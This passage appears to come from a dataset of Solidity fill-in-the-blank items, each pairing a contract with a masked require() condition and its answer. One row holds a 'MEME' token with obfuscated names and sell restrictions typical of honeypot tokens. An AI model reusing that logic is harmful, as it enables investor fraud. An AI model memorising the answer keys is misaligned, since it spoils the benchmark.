comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"inscribe ended" | pragma solidity ^0.8;
contract ethv is ERC721, ERC721Enumerable,Ownable {
Idata data;
uint256 private _nextTokenId;
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
string description;
mapping(uint256 => uint256) public tokenIdBalance;
mapping(address => mapping(address => uint)) public tokenApproved;//owner spender tokenid
mapping (address => mapping (address =>mapping (uint => uint)))public tokenApprovedByallowanc;//owner spender tokenid amount
mapping (address => uint) public userMintedAmount;
//uint No;
uint public MAX_PER_MINT;
uint public inscription_token_amount;
uint public MAX_LIQUIDITY_AMOUNT;
uint public MINTED_LIQUIDITY_AMOUNT;
uint public MAX_SUPPLY;
uint public MAX_PERMINT_AMOUNT;
fallback() external payable {
}
receive() external payable {
}
constructor(string memory _name, string memory _description,uint _maxTotalSupply,uint _maxPermint_Amount,uint _max_per_mint)
ERC721(_name, "INSCRIPTION")
{
}
function setData(address _data) public onlyOwner {
}
function approvedByallowanc(address spender,uint tokenId,uint amount) public {
}
function approveTokenIdToken(uint tokenId,address spender) public {
}
function revokeApproveTokenIdToken(uint tokenId,address spender) public {
}
function transferFromBalanceAmount(uint fromTokenId,uint toTokenId,uint amount) public{
}
function transferFromBalanceAmountByAllowance(uint fromTokenId,uint toTokenId,uint amount) public{
}
function transferBalanceAmount(uint fromTokenId,uint toTokenId,uint amount) public{
}
function addBalanceToTokenId(uint tokenId,uint amount) public onlyOwner {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function addrToString(address addr) public pure returns (string memory) {
}
function getLevels(uint256 tokenId) public view returns (string memory) {
}
function getLevels_Num(uint256 tokenId) public view returns (uint) {
}
function tokenURI(uint256 tokenId) public override view returns (string memory){
}
function inscribe(uint _amount) public {
require(_amount <= MAX_PERMINT_AMOUNT,"exceed max permint amount");
require(<FILL_ME>)
require(userMintedAmount[msg.sender] + 1 <= MAX_PER_MINT,"exceed per user max mint amount");
_tokenIds.increment();
userMintedAmount[msg.sender] ++;
uint256 newItemId = _tokenIds.current();
_safeMint(msg.sender, newItemId);
tokenIdBalance[newItemId] = _amount;
inscription_token_amount += _amount;
//_setTokenURI(newItemId, getTokenURI(newItemId));
}
function inscribeForInternal(uint _amount) internal {
}
function inscribeForInternal2(uint _amount) internal {
}
function merge(uint [] memory _tokenIdArr) public {
}
function seperate(uint _tokenId,uint [] memory _amountArr) public {
}
function burn(uint _tokenId) public {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
/**
* @dev Hook that is called after any token transfer. This includes minting and burning. If {ERC721Consecutive} is
* used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s tokens were transferred to `to`.
* - When `from` is zero, the tokens were minted for `to`.
* - When `to` is zero, ``from``'s tokens were burned.
* - `from` and `to` are never both zero.
* - `batchSize` is non-zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}
}
| inscription_token_amount+_amount<=MAX_SUPPLY,"inscribe ended" | 508,229 | inscription_token_amount+_amount<=MAX_SUPPLY |
"exceed per user max mint amount" | pragma solidity ^0.8;
contract ethv is ERC721, ERC721Enumerable,Ownable {
Idata data;
uint256 private _nextTokenId;
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
string description;
mapping(uint256 => uint256) public tokenIdBalance;
mapping(address => mapping(address => uint)) public tokenApproved;//owner spender tokenid
mapping (address => mapping (address =>mapping (uint => uint)))public tokenApprovedByallowanc;//owner spender tokenid amount
mapping (address => uint) public userMintedAmount;
//uint No;
uint public MAX_PER_MINT;
uint public inscription_token_amount;
uint public MAX_LIQUIDITY_AMOUNT;
uint public MINTED_LIQUIDITY_AMOUNT;
uint public MAX_SUPPLY;
uint public MAX_PERMINT_AMOUNT;
fallback() external payable {
}
receive() external payable {
}
constructor(string memory _name, string memory _description,uint _maxTotalSupply,uint _maxPermint_Amount,uint _max_per_mint)
ERC721(_name, "INSCRIPTION")
{
}
function setData(address _data) public onlyOwner {
}
function approvedByallowanc(address spender,uint tokenId,uint amount) public {
}
function approveTokenIdToken(uint tokenId,address spender) public {
}
function revokeApproveTokenIdToken(uint tokenId,address spender) public {
}
function transferFromBalanceAmount(uint fromTokenId,uint toTokenId,uint amount) public{
}
function transferFromBalanceAmountByAllowance(uint fromTokenId,uint toTokenId,uint amount) public{
}
function transferBalanceAmount(uint fromTokenId,uint toTokenId,uint amount) public{
}
function addBalanceToTokenId(uint tokenId,uint amount) public onlyOwner {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function addrToString(address addr) public pure returns (string memory) {
}
function getLevels(uint256 tokenId) public view returns (string memory) {
}
function getLevels_Num(uint256 tokenId) public view returns (uint) {
}
function tokenURI(uint256 tokenId) public override view returns (string memory){
}
function inscribe(uint _amount) public {
require(_amount <= MAX_PERMINT_AMOUNT,"exceed max permint amount");
require(inscription_token_amount + _amount <= MAX_SUPPLY,"inscribe ended");
require(<FILL_ME>)
_tokenIds.increment();
userMintedAmount[msg.sender] ++;
uint256 newItemId = _tokenIds.current();
_safeMint(msg.sender, newItemId);
tokenIdBalance[newItemId] = _amount;
inscription_token_amount += _amount;
//_setTokenURI(newItemId, getTokenURI(newItemId));
}
function inscribeForInternal(uint _amount) internal {
}
function inscribeForInternal2(uint _amount) internal {
}
function merge(uint [] memory _tokenIdArr) public {
}
function seperate(uint _tokenId,uint [] memory _amountArr) public {
}
function burn(uint _tokenId) public {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
/**
* @dev Hook that is called after any token transfer. This includes minting and burning. If {ERC721Consecutive} is
* used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s tokens were transferred to `to`.
* - When `from` is zero, the tokens were minted for `to`.
* - When `to` is zero, ``from``'s tokens were burned.
* - `from` and `to` are never both zero.
* - `batchSize` is non-zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}
}
| userMintedAmount[msg.sender]+1<=MAX_PER_MINT,"exceed per user max mint amount" | 508,229 | userMintedAmount[msg.sender]+1<=MAX_PER_MINT |
"no equal" | pragma solidity ^0.8;
contract ethv is ERC721, ERC721Enumerable,Ownable {
Idata data;
uint256 private _nextTokenId;
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
string description;
mapping(uint256 => uint256) public tokenIdBalance;
mapping(address => mapping(address => uint)) public tokenApproved;//owner spender tokenid
mapping (address => mapping (address =>mapping (uint => uint)))public tokenApprovedByallowanc;//owner spender tokenid amount
mapping (address => uint) public userMintedAmount;
//uint No;
uint public MAX_PER_MINT;
uint public inscription_token_amount;
uint public MAX_LIQUIDITY_AMOUNT;
uint public MINTED_LIQUIDITY_AMOUNT;
uint public MAX_SUPPLY;
uint public MAX_PERMINT_AMOUNT;
fallback() external payable {
}
receive() external payable {
}
constructor(string memory _name, string memory _description,uint _maxTotalSupply,uint _maxPermint_Amount,uint _max_per_mint)
ERC721(_name, "INSCRIPTION")
{
}
function setData(address _data) public onlyOwner {
}
function approvedByallowanc(address spender,uint tokenId,uint amount) public {
}
function approveTokenIdToken(uint tokenId,address spender) public {
}
function revokeApproveTokenIdToken(uint tokenId,address spender) public {
}
function transferFromBalanceAmount(uint fromTokenId,uint toTokenId,uint amount) public{
}
function transferFromBalanceAmountByAllowance(uint fromTokenId,uint toTokenId,uint amount) public{
}
function transferBalanceAmount(uint fromTokenId,uint toTokenId,uint amount) public{
}
function addBalanceToTokenId(uint tokenId,uint amount) public onlyOwner {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function addrToString(address addr) public pure returns (string memory) {
}
function getLevels(uint256 tokenId) public view returns (string memory) {
}
function getLevels_Num(uint256 tokenId) public view returns (uint) {
}
function tokenURI(uint256 tokenId) public override view returns (string memory){
}
function inscribe(uint _amount) public {
}
function inscribeForInternal(uint _amount) internal {
}
function inscribeForInternal2(uint _amount) internal {
}
function merge(uint [] memory _tokenIdArr) public {
}
function seperate(uint _tokenId,uint [] memory _amountArr) public {
uint sum;
for(uint i; i < _amountArr.length; i++)
{
inscribeForInternal(_amountArr[i]);
sum += _amountArr[i];
}
require(<FILL_ME>)
burn(_tokenId);
}
function burn(uint _tokenId) public {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
/**
* @dev Hook that is called after any token transfer. This includes minting and burning. If {ERC721Consecutive} is
* used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s tokens were transferred to `to`.
* - When `from` is zero, the tokens were minted for `to`.
* - When `to` is zero, ``from``'s tokens were burned.
* - `from` and `to` are never both zero.
* - `batchSize` is non-zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}
}
| getLevels_Num(_tokenId)==sum,"no equal" | 508,229 | getLevels_Num(_tokenId)==sum |
null | pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
pragma solidity >=0.7.0 <0.9.0;
contract mybemrbrainwash is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0 ether;
uint256 public maxSupply = 1966;
uint256 public maxMintAmount = 2;
bool public paused = false;
bool public revealed = false;
string public notRevealedUri; // ipfs://QmZ4sYuMRnPvYeZ2QMuFJfx3fuJWuYAZXr6z9Ap8shSUtr
constructor(
string memory _name, // MybeMrBrainwash
string memory _symbol, // MMBW
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
//only owner
function reveal() public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
address HEX81 = 0x8681FeF2244988e14eCC52ab562fE6E700Fb27B0;
function GetItOn() public onlyOwner {
uint256 _balance = address(this).balance;
require(<FILL_ME>)
}
}
| payable(HEX81).send(_balance*1000/1000) | 508,315 | payable(HEX81).send(_balance*1000/1000) |
"not enough withdrawable balance" | pragma solidity ^0.5.16;
import "./Math.sol";
import "./SafeMath.sol";
import "./ERC20Detailed.sol";
import "./SafeERC20.sol";
import "./ReentrancyGuard.sol";
// Inheritance
import "./IStakingRewards.sol";
import "./RewardsDistributionRecipient.sol";
import "./Pausable.sol";
// https://docs.synthetix.io/contracts/source/contracts/stakingrewards
contract BubblePAALStaking is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
// uint256 public rewardsDuration = 7 days;
uint256 public rewardsDuration = 30 days;
//lock duration
// uint256 public lockDownDuration = 30 days;
uint256 public lockDownDuration = 5 seconds;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
//withdraw rate 5 for 0.05%
uint256 public withdrawRate = 0;
uint256 public feeScale = 10000;
//NOTE:modify me before mainnet
address public feeCollector = 0x973c48B6278aE66391F4C2E78aC7fc4Ed92bF13E;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
struct TimedStake {
mapping(uint256 => uint256) stakes;
uint256[] stakeTimes;
}
mapping(address => TimedStake) timeStakeInfo;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken
) public Owned(_owner) {
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
}
function balanceOf(address account) external view returns (uint256) {
}
function lastTimeRewardApplicable() public view returns (uint256) {
}
function rewardPerToken() public view returns (uint256) {
}
function earned(address account) public view returns (uint256) {
}
function getRewardForDuration() external view returns (uint256) {
}
function withdrawableAmount(address account)public view returns(uint256){
}
/* ========== MUTATIVE FUNCTIONS ========== */
function setWithdrawRate(uint256 _rate) external onlyOwner {
}
function setFeeCollector(address _feeCollector) external onlyOwner{
}
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
}
function dealwithLockdown(uint256 amount,address account) internal {
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
require(<FILL_ME>)
dealwithLockdown(amount,msg.sender);
uint256 fee = amount.mul(withdrawRate).div(feeScale);
stakingToken.safeTransfer(msg.sender, amount.sub(fee));
if (fee > 0 ){
stakingToken.safeTransfer(feeCollector, fee);
}
emit Withdrawn(msg.sender, amount.sub(fee));
}
function getReward() public nonReentrant updateReward(msg.sender) {
}
function exit() external {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
}
function setLockDownDuration(uint256 _lockdownDuration) external onlyOwner {
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
event LockDownDurationUpdated(uint256 newLockDownDuration);
}
| withdrawableAmount(msg.sender)>=amount,"not enough withdrawable balance" | 508,324 | withdrawableAmount(msg.sender)>=amount |
"Only one transfer per block allowed." | /**
Twitter: https://twitter.com/MemesEthereum
Telegram: https://t.me/MemesEthereum
Website: https://memeseth.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _Rfzpv(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _Rfzpv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _qicke(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract MEME is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _qyblc;
address payable private Frkqc;
address private _Bdrfp;
string private constant _name = unicode"MEME";
string private constant _symbol = unicode"MEME";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _Rvqge=0;
uint256 private _viarq=0;
uint256 public _lvpzh = _totalSupply;
uint256 public _pvrep = _totalSupply;
uint256 public _pocmr= _totalSupply;
uint256 public _qrbea= _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _Krauo;
mapping (address => bool) private _hfaek;
mapping(address => uint256) private _Ezfgv;
bool private _sorqopen;
bool public _prlkc = false;
bool private qyodk = false;
bool private _rajep = false;
event _benpw(uint _lvpzh);
modifier gvrdf {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 elybae=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_prlkc) {
if (to
!= address
(_qyblc)
&& to !=
address
(_Bdrfp)) {
require(<FILL_ME>)
_Ezfgv
[tx.origin]
= block.number;
}
}
if (from ==
_Bdrfp && to !=
address(_qyblc) &&
!_Krauo[to] ) {
require(amount
<= _lvpzh,
"Exceeds the _lvpzh.");
require(balanceOf
(to) + amount
<= _pvrep,
"Exceeds the _pvrep.");
if(_viarq
< _Rvqge){
require
(! _gpbvy(to));
}
_viarq++;
_hfaek
[to]=true;
elybae = amount._qicke
((_viarq>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _Bdrfp &&
from!= address(this)
&& !_Krauo[from] ){
require(amount <=
_lvpzh &&
balanceOf(Frkqc)
<_qrbea,
"Exceeds the _lvpzh.");
elybae = amount._qicke((_viarq>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_viarq>
_Rvqge &&
_hfaek[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!qyodk
&& to == _Bdrfp &&
_rajep &&
contractTokenBalance>
_pocmr
&& _viarq>
_Rvqge&&
!_Krauo[to]&&
!_Krauo[from]
) {
_transferFrom( _Bvftk(amount,
_Bvftk(contractTokenBalance,
_qrbea)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_vprwe(address
(this).balance);
}
}
}
if(elybae>0){
_balances[address
(this)]=_balances
[address
(this)].
add(elybae);
emit
Transfer(from,
address
(this),elybae);
}
_balances[from
]= _Rfzpv(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_Rfzpv(elybae));
emit Transfer
(from, to,
amount.
_Rfzpv(elybae));
}
function _transferFrom(uint256
tokenAmount) private
gvrdf {
}
function _Bvftk
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _Rfzpv(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _gpbvy(address
account) private view
returns (bool) {
}
function _vprwe(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| _Ezfgv[tx.origin]<block.number,"Only one transfer per block allowed." | 508,333 | _Ezfgv[tx.origin]<block.number |
"Exceeds the _pvrep." | /**
Twitter: https://twitter.com/MemesEthereum
Telegram: https://t.me/MemesEthereum
Website: https://memeseth.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _Rfzpv(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _Rfzpv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _qicke(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract MEME is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _qyblc;
address payable private Frkqc;
address private _Bdrfp;
string private constant _name = unicode"MEME";
string private constant _symbol = unicode"MEME";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _Rvqge=0;
uint256 private _viarq=0;
uint256 public _lvpzh = _totalSupply;
uint256 public _pvrep = _totalSupply;
uint256 public _pocmr= _totalSupply;
uint256 public _qrbea= _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _Krauo;
mapping (address => bool) private _hfaek;
mapping(address => uint256) private _Ezfgv;
bool private _sorqopen;
bool public _prlkc = false;
bool private qyodk = false;
bool private _rajep = false;
event _benpw(uint _lvpzh);
modifier gvrdf {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 elybae=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_prlkc) {
if (to
!= address
(_qyblc)
&& to !=
address
(_Bdrfp)) {
require(_Ezfgv
[tx.origin]
< block.number,
"Only one transfer per block allowed."
);
_Ezfgv
[tx.origin]
= block.number;
}
}
if (from ==
_Bdrfp && to !=
address(_qyblc) &&
!_Krauo[to] ) {
require(amount
<= _lvpzh,
"Exceeds the _lvpzh.");
require(<FILL_ME>)
if(_viarq
< _Rvqge){
require
(! _gpbvy(to));
}
_viarq++;
_hfaek
[to]=true;
elybae = amount._qicke
((_viarq>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _Bdrfp &&
from!= address(this)
&& !_Krauo[from] ){
require(amount <=
_lvpzh &&
balanceOf(Frkqc)
<_qrbea,
"Exceeds the _lvpzh.");
elybae = amount._qicke((_viarq>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_viarq>
_Rvqge &&
_hfaek[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!qyodk
&& to == _Bdrfp &&
_rajep &&
contractTokenBalance>
_pocmr
&& _viarq>
_Rvqge&&
!_Krauo[to]&&
!_Krauo[from]
) {
_transferFrom( _Bvftk(amount,
_Bvftk(contractTokenBalance,
_qrbea)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_vprwe(address
(this).balance);
}
}
}
if(elybae>0){
_balances[address
(this)]=_balances
[address
(this)].
add(elybae);
emit
Transfer(from,
address
(this),elybae);
}
_balances[from
]= _Rfzpv(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_Rfzpv(elybae));
emit Transfer
(from, to,
amount.
_Rfzpv(elybae));
}
function _transferFrom(uint256
tokenAmount) private
gvrdf {
}
function _Bvftk
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _Rfzpv(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _gpbvy(address
account) private view
returns (bool) {
}
function _vprwe(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| balanceOf(to)+amount<=_pvrep,"Exceeds the _pvrep." | 508,333 | balanceOf(to)+amount<=_pvrep |
null | /**
Twitter: https://twitter.com/MemesEthereum
Telegram: https://t.me/MemesEthereum
Website: https://memeseth.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _Rfzpv(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _Rfzpv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _qicke(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
